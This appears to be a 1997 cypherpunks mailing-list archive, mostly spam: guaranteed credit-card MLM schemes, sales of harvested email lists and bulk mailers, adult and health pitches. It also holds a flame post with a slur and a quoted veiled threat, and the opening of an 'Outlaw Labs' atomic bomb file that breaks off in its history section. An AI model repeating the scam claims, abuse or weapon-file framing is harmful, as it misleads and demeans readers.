Message-ID: <<199704300447.VAA02342@www.maildomain.com>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT COLOR="#00FFFF" SIZE=3>
Bio Pac appologizes for any inconvenience this e-mail may cause. 
In no way does Bio Pac mean to offend or upset any persons, please
delete the e-mail if you are not interested. Thank you. 

Prostate problems!

If you or someone you know, are experiencing prostate trouble (which is
evidenced by difficulty in urinating, having to get up several times in
the night, weak stream and frequent urge to urinate), please check out
the following web site:

http://www.bio-pac.com/ps

You may find relief from your symptoms without pills or surgery!

Thank you for your consideration

</FONT><FONT  COLOR="#000000" SIZE=3>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: YES!@netcom.es
Date: Sun, 4 May 1997 20:25:55 -0700 (PDT)
To: node-9@gurnbraine.com
Subject: YOU ARE APPROVED!
Message-ID: <505770395032.UAA78760@ns2.foogi.com>
MIME-Version: 1.0
Content-Type: text/plain


$4000 MAJOR CREDIT CARD... GUARANTEED!!

EVERYONE QUALIFIES...UNSECURTED CREDIT CARD!!!

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*  Offshore For Complete Financial Privacy!
*  WORLDWIDE Acceptance At More Than 8 MILLION Locations!
*  INSTANT CASH ADVANCES At More Than 350,000 Banks & ATM's!!
*  MLM With $25.00 Fast Start Bonus!
*  3X6 Forced Matrix... With High Demand, You'll Fill It Within 30 Days!!

                          ABSOLUTELY GUARANTEED!!!!!


For complete information AND application go to:

FAX ON DEMAND:  415-273-6168 Doc# 1

*************************************************************
*IMPORTANT*   In order for your application to processed properly, please use sponsor id# 542 
*************************************************************


                          ABSOLUTELY GUARANTEED!!!!!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Service@iBase.net
Date: Tue, 6 May 1997 01:15:10 -0700 (PDT)
To: Service@iBase.net
Subject: Win up to $4,950.00 Instantly with Cyber Casino
Message-ID: <19970506015410391.AAC162@[206.244.171.171]>
MIME-Version: 1.0
Content-Type: text/plain


Win up to $4,950.00 Instantly with Cyber Casino, found at http://www.iBase.net/InternetCasino.  See you there!

"Because face it......MONEY MATTERS!"


///////////////////////////////////////////////////////////////////////////////
 If you wish to be removed from this advertiser's future mailings, please reply 
with the subject "Remove" and this software will automatically block you 
from their future mailings.
////////////////////////////////////////////////////////////////////////////////






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: youtoocanmake@lotsof.money
Date: Tue, 6 May 1997 03:19:35 -0700 (PDT)
To: okmnji@nhdtytgb.com
Subject: Read about this NEW income making opportunity!
Message-ID: <548638572264.SWT46523@nhdtytgb.com>
MIME-Version: 1.0
Content-Type: text/plain


Do you know how to use email? Then you should be making money hand over fist on the Internet!  By the time you're finished reading this letter, you'll know EXACTLY how I'm doing it, and how YOU can too!

Here we go...

Introducing "The NEW Complete Internet Business Starter Kit!!!"

If you can spare just 5 minutes of your time, I promise to deliver an opportunity unlike anything you've ever seen!

     You CAN start a very profitable business on the
     Internet WITHOUT spending a lot of money!

How would you like to start a spare time business with YOUR OWN kit of cutting edge information products? What if everything in the kit came with unlimited and unrestricted ownership rights? You could sell this much sought after information for whatever price you wanted!  And get this... You could even offer those rights along with your products! You'll be helping others start their own business!

    Would you be interested in an opportunity like this?
    How about if all the work has been taken out of it?

As you know, there are many "business opportunities" floating around on the Internet. Some great, some not so great. But how can you tell the REAL opportunities from the money pits?  YOU CAN'T! All you can do is choose a path and hope it's not a dead end.  If you CAN find the right opportunity, you can make a bundle of money in a very short time. Here's why...

The "Internet population explosion" is now under way. The actual numbers are a little hard to fathom, but here they are...  In 1996 alone, over A MILLION people per MONTH have been signing up with an internet access provider! That's over 12 MILLION people per year! Even if this rate remains the same, and many expect it to increase, there will be more than 100 MILLION people online by the year 2000!

So what does this mean to you? Simple. Like you, many of these 12 million newcomers per year will be looking for legitimate business opportunities. They'll also be looking for specialized information that will teach them how to start and operate their own high income, online business.  The fact is, there are simply just not enough sources to meet these overwhelming demands!

           That's where you come in!

You can meet BOTH of these demands with this NEW Complete Internet Business Starter Kit!

Now, in a minute I'm going to tell you exactly what this information kit consists of. But before I do, I want to explain how it's a little different from ALL the others...

Everything in this kit comes with UNLIMITED AND UNRESTRICTED REPRODUCTION RIGHTS!

O.K. So you've seen reprint/reproduction rights being sold before.

*** BUT NOT LIKE THIS!! ***

"UNRESTRICTED" means just that! Not only can you sell this kit as YOUR VERY OWN, you can sell ALL rights along with it!  That's what makes this kit sell with very little effort!  Check around! You'll never find another company that lets you do this!  (Actually, I've taken a little heat from some of my fellow information brokers over this decision. They insist I'll create my own competition. But when I explain the raw numbers of people jumping online every month, they seem to quiet down very quickly!)

All right, here's what this exciting new information kit consists of...

1. "The Information Freeway!"   It covers everything from rules and regulations, to how to use the newest online marketing strategies, including direct email! 

You'll learn everything you need to know about this brand new world of opportunity!

2. 300 new reports designed to help upstart entrepreneurs!  These aren't the typical out of date reports that circulate till the end of time. Originally published in 1996, these reports contain real info you can use! Check these out...

How To Protect Your PC From Email Viruses, How To Get Over 300 Prospects To Email You Weekly, Insiders Secrets On Advertising With The Major Online Services, What's Wrong with The World Wide Web, and Taxes For The Home Based Business Owner, and many, many more!

3.  A free copy of the latest version of Pegasus, the most advanced e-mail software ever, and by far the easiest to use.  With Pegasus you can send out 500, 1,000, even 50,000 sales letters every single day.

4.  A working demo copy of Email Pro, the brand new $500 software used by all the major online marketers.  With Email Pro you can extract thousands of targeted e-mail addresses per hour from the major online services.

5.  100,000 freshly extracted e-mail addresses of opportunity seekers and multi-level enthusiasts.  All of these addresses are from the major online services and the Internet.  America On Line, Prodigy, CompuServe, Microsoft Network, Genie and Delphi.  These are people who enjoy reading about new opportunities and they are Buyers.

6. And get a load of this!! To make this a Complete Internet Business Starter Kit, you'll get your own customized version of this same sales letter. You can use any or the entire letter as your very own! All the "work" has been done for you! It just doesn't get any easier than this!

        O.K. Let's get down to the nitty gritty! 

I'm sure you're thinking, "O.K. Sounds good, but how much is this gonna set me back financially"? You've seen what everyone else is charging for information that's not nearly as comprehensive as this..$200? $100? $59.95?

            Well, Prepare To Be Shocked!

The entire NEW Complete Internet Business Starter Kit is only $39.95... plus $5.50 Shipping & Handling

Sound too good to be true? That's what others have said.  That is, until they received their kit and saw for themselves just how easy it is to make money on the net!

Here's a little more incentive to check this out...
      
        2 FREE BONUSES FOR EVERYONE WHO ORDERS WITHIN 7 DAYS!!!

1. The List! Did you know there are over 1,000 FREE and ALMOST FREE advertising sites?  I'll include a listing of the addresses. (There's a section in the manual that teaches you exactly how to post ads at these sites.)

2.   An EXTRA 100,000 fresh e-mail addresses of opportunity seekers and multi-level enthusiasts.  That will give you 200,000 eager buyers to mail this and any other offer you may have.  This list has been known to pull as much as a 15% response rate.  Can you imagine how much money you'll make with even a 2 or 3 per cent response?

Well, that's about it. As you can see, this is truly a Complete Internet Business Starter Kit! Right down to your own deal closing sales letter! You're already paying to be online, why not make some money? Even if you sell ONLY ONE KIT, you've broken even! Everything after that is pure profit!

Now that you know what you stand to gain, let's consider what you have to spend. Just $39.95!  This is a small cost for the collection of reports and information that can have you in business, the day you receive your information package.

Remember, not only will you be learning the most up to date information about making money online, you'll be teaching others how to succeed! (And making money in the process!)

########################  NEW ADDITIONAL OFFER  ##################

Question: Remember when you first considered going on line?  You had dozens of questions and didn't know where to go for the answers.  

Many of us that had these questions started reading newspaper and magazine articles to familiarize ourselves with this new media!  We also started reading "classified ads" to see what others are doing on-line!

GUESS WHAT?   MILLIONS ARE DOING THE SAME, TODAY!

With the rapid expansion of the Internet, the information in the $39.95 Business Kit is a necessity, today.  But many CUSTOMERS that I've spoken with have a desire to market this package in the 'Print Media', as I do (magazines & newspapers, etc.)

The Business Kit gets you "Safely" up and running on the Internet, but what about those who are just coming on line.  Or those just considering if it's PROFITABLE to go on line with their business?? This segment of the population is still reading Newspapers and Magazines to see what they can learn about the subject before 'jumping-in'.  

Being involved in Multi-Level-Marketing and Mail-order businesses have taught me a great deal through the years. I've made plenty of mistakes along the way.

              ***************YOU DON'T HAVE TO!!!!**************

I've developed an additional package of information to compliment the
Internet Business Starter Kit.  I call this the 'PLUS' package.  How can this help you?

1. Do you know the best newspapers to advertise in?  

(I'll supply a listing of hundreds of newspapers and their phone numbers!)

2. Do you know where to get an 800 number with voice mail for advertising at the very lowest possible price?  (Including too many benefits to list)  (I'm constantly updating information to provide the best possible programs and pricing!)

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SPECIAL OFFER............................IF YOU ORDER WITHIN 7 DAYS !!!

I'LL SEND THE 'STARTER KIT', PLUS THE ADDITIONAL PACKAGE FOR THE TOTAL PRICE OF $34.95 and I'll pay the shipping & handling myself.  That will save you an additional $10.50!
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

Thank you for your time.

Just use a blank piece of paper to order, or you may print this document and use the order form below.

To Order:  SELECT ONE:.....................

I am ordering within 7 days. Send me The NEW Complete Internet Business Starter Kit for the total price of $34.95______

I am ordering after the 7 day period.  Send me The NEW Complete Internet Business Starter Kit for $39.95 + $5.50 S&H.  $45.45_____

Send Checks or money order for AMOUNT SELECTED ABOVE.  Note: ALL ORDERS ARE SHIPPED AS SOON AS POSSIBLE, Please make checks or money orders payable to:

VIPLabs
P.O. Box 1164
Claremore, OK  74018

Your information:   please fill in completely  (Internal Code 1940.008)

NAME______________________________________________________

ADDRESS___________________________________________________

CITY_______________________ STATE__________  ZIP____________

E-MAIL ADDRESS____________________________________________

TELEPHONE NUMBER: _______________________________required for personal checks


I Authorize VIPLabs to charge an additional $30.00 fee if my check is returned for insufficient or uncollectable funds.

SIGNATURE: x_______________________________  DATE: x___________________
If ordering from outside U.S. please add $10 to normal S&H charge.

Credit Card Orders
If you prefer, you can order by credit card.  We accept Visa, MasterCard, Discover or American Express. 

Visa____MasterCard____Discover____American Express____

Name as it appears on card______________________

Address (City, State, Zip) as it appears on card__________

Account number__________________

Expiration Date_________

SIGNATURE: x________________________________  Date: x________________


THE MARKET IS HERE - TODAY!      TAKE ADVANTAGE OF IT!!!!!
After you receive your kit, I'll answer any questions time permits via email. 
I'm looking forward to helping you succeed in your new business!
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sexeygirltoy@06137.com
Date: Sat, 30 Aug 1997 14:56:05 -0700 (PDT)
To: poASXstm2312312aster@aol.com
Subject: Live Sex..NO VIDEO DELAY..Like TV!|
Message-ID: <QSD123\123421442.com>
MIME-Version: 1.0
Content-Type: text/plain


Live Interactive Video Sex.  FIRST 5 MINUTES FREE

Wouldn't you like to see a Live Girl on
your computer Screen??? Now the girl can see you as well - Featuring Two
way video. This video service is not like others. There is no video
delay, and the screen is crystal clear and big, just like a T.V. You can
also talk to her on a voice line as you are watching her do it all just
for you. Our Live video is so good that we are giving you 5 Free min. to
show you that we are the best.

Hurry up and visit our website at 

http://209.14.198.122/livesex.htm

Me and my friends are waiting for you now and will do anything
you want us to.

Love Savanah,
XOXOXO

P.S. If you have a quick cam don't forget to plug it in. Me and my
friends will love to see you as well!!!!

http://209.14.198.122/livesex.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 2m@ALLVIP.COM
Date: Tue, 6 May 1997 18:24:23 -0700 (PDT)
To: 2m@ALLVIP.COM
Subject: Get 2 Million Email Addresses Today - ONLY $99   ALL DELIVERABLE
Message-ID: <199705062050.QAB00412@fp.allvip.com>
MIME-Version: 1.0
Content-Type: text/plain


    * To Remove:  Please hit reply & type "remove" in the subject

< <> >   Get 2 Million Email Addresses Today - ONLY $99  (Reg. $489)   < <> >
                          *  Visa  &  Mastercard  Welcome  *
                      Targeted to General Business & More
        All deliverable - Guaranteed - We replace your undeliverables!
All addresses processed against a very extensive database of "remove" requests.

  Order Now and we will give you an  EXCELLENT and  AFFORDABLE 
  ISP  that welcomes unsolicited bulk email!

This offer is for 2 days Only!  Plus you will be immediately eligible for 
Exclusive Direct Wholesale Offers for all of your marketing needs!  
No waiting time!  Immediately obtain this offer NOW & get started TODAY!
For your << automatic  >> Order Form:    Email:   2mil@allvip.com

    * To Remove:  Please hit reply & type "remove" in the subject







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Site Builder Network <sbn@MICROSOFT.COM>
Date: Tue, 6 May 1997 21:20:50 -0700 (PDT)
To: SBNMEM@LISTSERV.MSN.COM
Subject: Site Builder Network: SBN Wire
Message-ID: <0845FCDE78BFD011A17600805FD43A8F184B97@RED-45-MSG.dns.microsoft.com>
MIME-Version: 1.0
Content-Type: text/plain


*** Microsoft (R) Site Builder Network ***

In this issue:

NEWS & ANNOUNCEMENTS

*  New - Microsoft Site Server
*  Microsoft Developer Network Library Goes Online
*  Free Intranet apps from the new Intranet Solutions
Center
*  Get ready to develop for Internet Explorer 4.0
*  New - Dynamic HTML Gallery

MEMBERSHIP DOWNLOADS AND NEWS SPOTLIGHT

*  Introducing:  Site of the Month
*  Feature Story - Internet Explorer 4.0 Technology
*  Chili!ASP from ChiliSoft
*  Metrowerks CodeWarrior for the Mac

PLEASE NOTE: FORMATTING RESTRICTIONS MAY NOT ALLOW A URL
TO FIT ON ONE LINE, THUS CAUSING AN ERROR IN THE LINK.
IF A URL LINK DOES NOT SEEM TO WORK, PLEASE PASTE THE
WHOLE ADDRESS (THAT MAY STRETCH INTO TWO LINES) INTO
YOUR BROWSER FOR VIEWING.  THANK YOU FOR YOUR PATIENCE.


NEWS & ANNOUNCEMENTS

NEW - MICROSOFT SITE SERVER
Microsoft Site Server, the newest member of Microsoft's
BackOffice family, makes it easy to enhance, deploy, and
manage sophisticated web sites built on Windows NT
Server and Internet Information Server.  For all the
latest information, go to the new Site Server web site
at http://www.microsoft.com/siteserver/.

MICROSOFT DEVELOPER NETWORK LIBRARY GOES ONLINE
Site Builder Network's sister resource, the Microsoft
Developer Network, has launched a new web site.  Go to
http://www.microsoft.com/siteserver/ for the most up-to-
date programming information.  Take advantage of an MSDN
Online Membership and receive access to the MSDN Library
Online, a registration to the MSDNFlash (email
notification service), and a host of other online
specials.

FREE INTRANET APPS FROM THE NEW INTRANET SOLUTIONS
CENTER
We've launched a one-stop web site for finding fast easy
answers to intranet issues at
http://www.microsoft.com/intranet/default.htm.  The site
includes 47 free, sample intranet applications you can
download, including workflow charts, bug tracking,
employee handbooks and more.  Plus, articles, case
studies, and a load of resources can be found at the
site.

GET READY TO DEVELOP FOR INTERNET EXPLORER 4.0
To ready you for Internet Explorer 4.0, we've built a
whole new Workshop page just for Internet Explorer 4.0
Technologies.  You can find it at
http://www.microsoft.com/sitebuilder/workshop/prog/ie4/.
You'll find the latest information on Microsoft Internet
Client Software Development Kit, being shipped with the
IE4 Platform Preview CD.

DYNAMIC HTML GALLERY
We've expanded our Gallery to include a section on
Dynamic HTML.  Go to
http://www.microsoft.com/gallery/default.asp and scroll
down to the Dynamic HTML globe.  Here you will find the
latest Internet Explorer 4.0 technology, ready to view.
Learn about and start using Dynamic HTML now!


MEMBERSHIP DOWNLOADS AND NEWS SPOTLIGHT

INTRODUCING - SITE OF THE MONTH
Introducing the Site Builder Network Site of the Month.
Don't envy them; learn from their stories. The SBN Site
of the Month features in-depth analysis of the
technical, design, and business stories behind a Web
site that rocks (and maybe even money).   Check out our
first honoree at
http://www.microsoft.com/sitebuilder/webadvantage/baarns
.asp.

FEATURE STORY - INTERNET EXPLORER 4.0
We're spotlighting Internet Explorer 4.0 this week.
Check out the feature story this week in the Site
Builder Network Magazine at
http://www.microsoft.com/sitebuilder/features/inetsdk.
asp. Topics include: a what-why-how overview of a very
Web-savvy browser, how the new multimedia controls will
add sparkle to your pages, and the Dynamic HTML Object
Model explained.

NEW DOWNLOADS

Chili!ASP, from ChiliSoft, lets you build Active Server
Pages (ASP) on non-Microsoft Web servers.

Metrowerks CodeWarrior is the development environment of
choice for Macintosh computers. This special
demonstration version of CodeWarrior lets you experience
the fast compilers, easy-to-use IDE (Integrated
Development Environment), and context-sensitive editor.

________________________________________
To increase or decrease the frequency of e-mail or
postal mail you receive from Site Builder Network,
please go to
http://www.microsoft.com/sbnmember/apply/apply.asp and
click "Change Your Membership."  You will find check
boxes, which will allow you to choose the frequency of
mail you wish to receive (including none).  To cancel
your SBN membership, please put "Cancel my Membership"
in the subject heading and e-mail back to
SBN@microsoft.com.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mf@mediafilter.org (MediaFilter)
Date: Thu, 8 May 1997 03:57:28 -0700 (PDT)
To: eon@black.hole
Subject: pgMedia, Inc. vs. Network Solutions, Inc. PARTY!
Message-ID: <1349049079-807401@MediaFilter.org>
MIME-Version: 1.0
Content-Type: text/plain


name.space hits network solutions with antitrust suit

zero.tolerance.org - mediafilter.org - and name.space
invite you to our web party and legal fundraiser at

11 East 4th Street 2F Buzzer #1
New York, NY 10003

Friday, 5-9-97, 7pm (EDT) till...

register a name in name.space
create a virtual home page
bring images to scan

if you're not live in NYC you can still see
the event on our webcam
and register from wherever you are!

check out the party at
http://namespace.party.cam

switch your PC or Mac to name.space with one click
http://ns.autono.net./ns./download.html

see.you.in.name.space

Paul Garrin

http://name.space
http://namespace.xs2.net



apologies if you got this twice
or if you do not support the freeing of the internet.

for more information on the Anti-Trust action

pgMedia, Inc. d/b/a/ name.space

vs.

Network Solutions, Inc.

please go to

http://namespace.xs2.net/ns./legal.html












From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ellis Laser <ellis@internetmedia.com>
Date: Thu, 8 May 1997 08:09:08 -0700 (PDT)
To: ellis@internetmedia.com
Subject: Vision Survey - Rid Yourself of Glasses/Contacts!!
Message-ID: <bulk.22482.19970508103500@ns.internetmedia.com>
MIME-Version: 1.0
Content-Type: text/plain



"Our Vision Is To Give You New Vision."
"Trust Your Eyes To Experience."

Northern California's most experienced laser vision corrective specialtist, 
Dr. William Ellis of the Ellis Eye and Laser Centers invites you to take
our short survey and offers you FREE information about how to rid yourself
of glasses and/or contacts, in the form of FREE Seminars, Consultations 
and videos.

Please type your answers into the body of your reply message.
Please answer all questions and note the type of information you 
would like to receive.

1. Do you currently wear glasses or contacts?  

2. How long have you worn corrective lenses?

3. Do you have an interest in getting out of glasses or contacts?

4. What activities interest you that are currently inconvenienced by 
glasses or contacts?

5. Do you wear multifocal lenses? (Bifocals)

6. Are you nearsighted, farsighted, astigmatic or presbyopic (need 
ifocals)?

7. Check which of the following refractive procedures you've heard 
about or considered:

A) RK   B) AK   C) HK  D) ALK  E) PRK  F) LASIK

Name:Address:  
City, State
Zip Code
Work Phone:
Home Phone:

I have interest in the following:

Free Seminars
Free Consultations
Exam
Videos
Television Program Information

To learn more about advancements in vision correction, Ellis Eye & Laser
Centers invites you to our web site.

 http://207.120.43.144/100130.html

-------------------------------------------------------------------------
Ellis Eye &  Laser Centers, Inc. respects your online time and Internet 
privacy. This is a one time only questionaire, your name will be removed 
from our files. However,if you wish to subscribe and receive future 
updates and information on our services, you may reply and type SUBSCRIBE 
in the subject line. Thank you!
--------------------------------------------------------------------------




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Shift Control <nobody@faust.guardian.co.uk>
Date: Fri, 9 May 1997 12:12:57 -0700 (PDT)
To: shiftcontrol@nml.guardian.co.uk
Subject: We want to kiss you, NOW
Message-ID: <199705090700.IAA18388@faust.guardian.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


A is for Aardvark
B is for Bite
C is for the Cure
D is for Dribble
E is for Eurovision
F is for Frog
G is for Glasgow kiss
H is for Halitosis
I is for Implants
J is for Judas
K is for Kiss 'n' tell
L is for Lips
M is for Mistletoe
N is for Necking
O is for Osculation
P is for Pucker
Q is for the Queen
R is for Radio stations
S is for Snog
T is for Tongue
U is for Ulcer
V is for Vampires 
W is for Wet
X is for X
Z is for Zit

Shift Control is for kissing, in all its colours
Shift Control is ready and waiting with a purse for you
Shift Control is at www.shiftcontrol.com

__________________________________________

Shift Control is produced by the Guardian's New Media Lab with help from 
Boddingtons and Stella Artois Dry

To unsubscribe from this mailing list send e-mail to 
shiftcontrol-request@nml.guardian.co.uk
with the following text in the body of the mail message:
unsubscribe






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: M2C <m2c@ucs.net>
Date: Fri, 9 May 1997 12:09:40 -0700 (PDT)
To: (Recipient list suppressed)
Subject: Free Job Posting At The New US Resume
Message-ID: <2.2.32.19970509190529.0068a524@ucs.net>
MIME-Version: 1.0
Content-Type: text/plain


Dear Associate:

We are sending you this message because you are on file as having requested
Job/Resume related information in the past.

------------------------
NOTE: As we all know, the issue of EMAIL is sensitive at best.  If we have
made a mistake by sending you this, or if you are offended in any way,
please reply to this message with the word "REMOVE" in the Subject Field of
your message, and list the email addresses you want removed in the body of
your message, and we will make sure you do not receive any future email from
us.  We take this issue very seriously, and want to make sure not to send
email to anyone who does not want it.  If for some reason you once requested
to be removed from our list, and are still receiving email, please reply to
this message.  We are now tracking remove requests with a new system.
------------------------

Please visit the NEW US RESUME.  We now have over 20,000 Job Links, a New
Search Engine, a FREE JOB POSTING FORUM, new Membership Programs to access
the Resumes/Profile database (which currently has over 24,000 reusmes or
profiles), and much more!

You can check out the new US Resume at: http://www.usresume.com

If you have any questions, please feel free to give us a call.


Thank You
Market 2000 Corp.(M2C)/US Resume
914-398-0911





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Stephen Cobb, CISSP" <stephen@iu.net>
Date: Fri, 9 May 1997 12:05:50 -0700 (PDT)
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: e$: In Vino Veritas
Message-ID: <3.0.32.19970509145640.0077c0b8@iu.net>
MIME-Version: 1.0
Content-Type: text/plain


Robert

Thanks so much for a truly enjoyable and thought-provoking piece of
writing. It gladdens my heart to know that there are still people out there
who know what happened to the Romantics!

But you do have to be careful about typing behavior with age. I live in
Florida and yes, we have a lot of old folks, but a sadly significant number
of the moralists are in their 20s and 30s. 

In Brevard County where I live (and shuttles are launched) they have banned
nude sunbathing, even on Federal property (also thong bikinis and male swim
wear that "permits discernible turgidity" -- by this standard most of the
Olympic finalists in the men's 100 meters would have been breaking the law
if Brevard County had been hosting). 

Much of the ban-the-nudist lobbying was done people well under 40. There
was a great moment at the televised County meeting when a frail old man
made his way to the podium and we all braced for another "skin is sin"
speech. But this is what he said "I'm a nudist and believe me, you have no
idea who else is."

So, it is not age that makes folks stupid. My mother took me on a
ban-the-bomb march when I was 6. I helped disrupt a tour by the all-white
South African rugby team when I was 17. But in the town were I grew up we
had both hippies and Nazi-loving, Paki-bashing skinheads (I use the term
Paki-bashing only because that is what people called it).

We also had Young Conservatives, aging beatniks, and leftists who were so
far left they actually admired Stalin (they were so screwed up that,
despite being atheists, they protested the British government's decision to
deny a priest, jailed for helping the IRA blow up parts of Coventry,
conduct mass in prison).

Me, I'm 45 and hope I will be my own kind of libertarian until I die. My
mother is in her 70s and still working for the cause of freedom and
dignity. My brother quit banking to write security software, some of which
is causing brains to hurt at the UK's DTI. 

But getting back to prohibition, do the words "when will they ever learn?"
strike a chord? It is so damn obvious that prohibition=organized crime I
can't believe it isn't genetic already, like not eating things that smell
rotten. But I digress. A book worth reading on the subject, if only for the
examples and footnotes, is "Ain't Nobody's Business If You Do: The
Absurdity of Consensual Crimes in a Free Society" by Peter McWilliams Now
available in paperback, published by Prelude Press. 

Personally, I look forward to reading more of your postings.

Stephen

	Certified Information Systems Security Professional
	Owner, Cobb Associates: "An independent information
	technology & security consulting firm...since 1987"
	"The best weapon with which to defend information..
	..is information." Cobb, Guide to PC & LAN Security
	2825 Garden, Suite 7-11, Titusville, Florida  32796
	Tel: 1 407 383 0977 Fax: 0336 Email: stephen@iu.net
	Try http://www.2cobbs.com & http://www.cobweb.co.uk




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: MOBILE.CONNECTION@texoma.net
Date: Fri, 9 May 1997 16:04:08 -0700 (PDT)
To: CONCERNED@mail.texoma.net
Subject: FREE REFERRAL SERVICE
Message-ID: <199705092302.SAA26162@mail.texoma.net>
MIME-Version: 1.0
Content-Type: text/plain



   HELLO!!

 THIS IS TO INFORM YOU THAT THERE IS NOW A  FREE DOCTORS REFERRAL SITE FOR ALL CONCERNED PEOPLE LOOKING FOR QUAILIFIED DOCTORS,IN ALL 50 STATES. 

 PLEASE LET YOUR DOCTORS KNOW THAT THIS SITE IS  AVAILABLE,  IF HIS NAME IS NOT YET POSTED, KINDLY PASS ON HIS INFORMATION SO WE CAN POST IT. 


DOCTOR'S INFORMATION REQUESTED:
 
                                   NAME 
                                  TYPE OF SPECIALIST
                                   ADDRESS
                                   TELEPHONE
                                   STATE AND TOWN
                                  


THE SITE IIS LOCATED AT:  http://www.mobilconnect.net/

THANK AGAIN


JOHN 

.........................................................................................................................................................

ALSO AT MY SITE ARE THE LINKS TO THE  GREATEST CONNECTIONS TO ALL OF THE BEST SEARCH SITES THOUGHOUT  THE WORLD.

FOR PERSONS WHO WOULD LIKE FREE E-MAIL ADDRESSES, HERE ARE 2 THOUSAND THAT I COLLECTED RECENTLY,(the e-mail address are changed  often)


FREE, ALSO IS THE GREATEST BULK E-MAILER DEMO PROGRAM ..MY  SPECIAL PRICE IS  $100.00 ,(program only)  ,    SO,   DOWN LOAD THE  DEMO AND  AGREE WITH ME,, IT IS  EQUAL TO THE BEST ONES OUT THERE RANGING FROM PRICES $300-$400. 

People who have there own WEB SITE  now you can get  the the best program to put yourself on al search engines automactly, and it updates itself and sends to new search engines, demo available

People who do not want this program , can register with us and we send to all  200 plus sites, for a small fee.


CIGAR LOVER WE HAVE GREAT TASTEING CIGARS AT UN- BEATABLE PRICES, 

                            GO TO OUR SITE FOR MORE INFORMATION

NOTICE : I AM NOT SENDING BY A LIST , SO THERE IS NO REMOVAL AT THIS TIME.









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 10 May 1997 07:30:09 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: New admin crypto policy
In-Reply-To: <199705100524.WAA32396@fat.doobie.com>
Message-ID: <RyNH7D3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


nobody@huge.cajones.com (Huge Cajones Remailer) writes:

> It is time something unfortunate happened to all those leading the push for n

Let's have Cocksucker John Gilmore unsubscrive them from this mailing list.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mercury Messenger Services" <futuregate@inetnow.net>
Date: Sat, 10 May 1997 18:58:22 -0700 (PDT)
To: futuregate@main.inetnow.net
Subject: Increase Traffic to your Web-site!
Message-ID: <199705110125.VAA07924@main.inetnow.net>
MIME-Version: 1.0
Content-Type: text/plain


 FutureGate's new "Super-Submission 150" service is a quick,
 inexpensive and effective way to increase your web site traffic or
 "hits".  We will do the work required to make your site easier to
 find.  We submit your information to the most popular directories and
 search engines in use today, making your site easily accessible to
 the millions of people looking for what you have to offer on the web.

We will submit your web-site to 150 directories and search engines, at
a low introductory fee of $29.95. 

Visit the web-site for details and a special bonus offer:

http://www.futuregate.com/supersubmit/


----------------------------------------------------------------------

To be removed from any future mailings, just reply with REMOVE in the
subject line.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sun, 11 May 1997 10:51:54 -0700 (PDT)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199705111751.NAA24134@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


 
--------------------------------
  File courtesy of Outlaw Labs
--------------------------------


 ============================================================================
               -------------------------------------------------
               - Documentation and Diagrams of the Atomic Bomb -
               -------------------------------------------------
 ============================================================================
   ______________
  /              \
 <-} DISCLAIMER {->
  \______________/

     The  information  contained  in  this file  is strictly for  academic use
alone.   Outlaw Labs will bear  no responsibility  for any use otherwise.   It
would be  wise  to note that the  personnel  who  design  and construct  these
devices are  skilled physicists  and are  more knowledgeable  in these matters
than  any  layperson  can ever hope to be...   Should  a layperson  attempt to
build a device such as this,  chances are s/he would probably kill his/herself
not by a nuclear detonation,  but rather through radiation exposure.   We here
at Outlaw Labs do not recommend using  this file beyond the realm of casual or
academic curiosity.


 ============================================================================

                            -----------------------
                            -+ Table of Contents +-
                            -----------------------


     I.  The History of the Atomic Bomb
         ------------------------------
         A).  Development  (The Manhattan Project)
         B).  Detonation
              1). Hiroshima
              2). Nagasaki
              3). Byproducts of atomic detonations
              4). Blast Zones


    II.  Nuclear Fission/Nuclear Fusion
         ------------------------------
         A).  Fission (A-Bomb) & Fusion (H-Bomb)
         B).  U-235, U-238 and Plutonium


   III.  The Mechanism of The Bomb
         -------------------------
         A).  Altimeter
         B).  Air Pressure Detonator
         C).  Detonating Head(s)
         D).  Explosive Charge(s)
         E).  Neutron Deflector
         F).  Uranium & Plutonium
         G).  Lead Shield
         H).  Fuses


    IV.  The Diagram of The Bomb
         -----------------------
         A).  The Uranium Bomb
         B).  The Plutonium Bomb




 ============================================================================ 
--------------------------------
  File courtesy of Outlaw Labs
--------------------------------



   I.  The History of the Atomic Bomb
       ------------------------------

       On August 2nd 1939, just before the beginning of World War II, Albert
Einstein wrote to then President Franklin D. Roosevelt.  Einstein and several
other scientists told Roosevelt of efforts in Nazi Germany to purify U-235
with which might in turn be used to build an atomic bomb.  It was shortly
thereafter that the United States Government began the serious undertaking
